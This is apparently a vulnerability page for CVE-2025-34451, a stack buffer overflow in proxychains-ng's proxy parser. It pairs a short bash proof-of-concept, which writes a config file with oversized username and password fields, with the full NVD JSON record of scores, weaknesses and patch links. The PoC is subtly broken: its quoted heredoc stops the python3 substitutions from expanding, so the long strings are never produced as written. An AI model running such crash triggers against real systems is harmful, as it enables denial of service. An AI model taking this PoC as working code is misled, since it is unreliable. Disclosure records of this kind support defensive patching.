CVE-2025-34451

#!/bin/bash # CVE-2025-34451 PoC - Malicious proxychains config with overflow # Generate a proxychains.conf with oversized username/password cat > /tmp/proxychains.conf << 'EOF' strict_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9050 $(python3 -c 'print("A"*1024)') $(python3 -c 'print("B"*1024)') EOF # Trigger the vulnerability # proxychains -f /tmp/proxychains.conf <target_program>

{"cve": {"id": "CVE-2025-34451", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:15:56.320", "lastModified": "2025-12-31T17:45:49.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "rofl0r/proxychains-ng versions up to and including 4.17 and prior to commit cc005b7 contain a stack-based buffer overflow vulnerability in the function proxy_from_string() located in src/libproxychains.c. When parsing crafted proxy configuration entries containing overly long username or password fields, the application may write beyond the bounds of fixed-size stack buffers, leading to memory corruption or crashes. This vulnerability may allow denial of service and, under certain conditions, could be leveraged for further exploitation depending on the execution environment and applied mitigations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:proxychains-ng_project:proxychains-ng:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.17", "matchCriteriaId": "E20D56E5-23B5-4918-8D21-C5AE4811B6E1"}]}]}], "references": [{"url": "https://github.com/httpsgithu/proxychains-ng/commit/cc005b7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/MCSAID-2025-008-proxychains-ng-stack-buffer-overflow-proxy_from_string.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/rofl0r/proxychains-ng/issues/606", "source": "[email protected]", "tags": ["Exploit", "Patch"]}, {"url": "https://www.vulncheck.com/advisories/rofl0r-proxychains-ng-stack-based-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/MCSAID-2025-008-proxychains-ng-stack-buffer-overflow-proxy_from_string.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}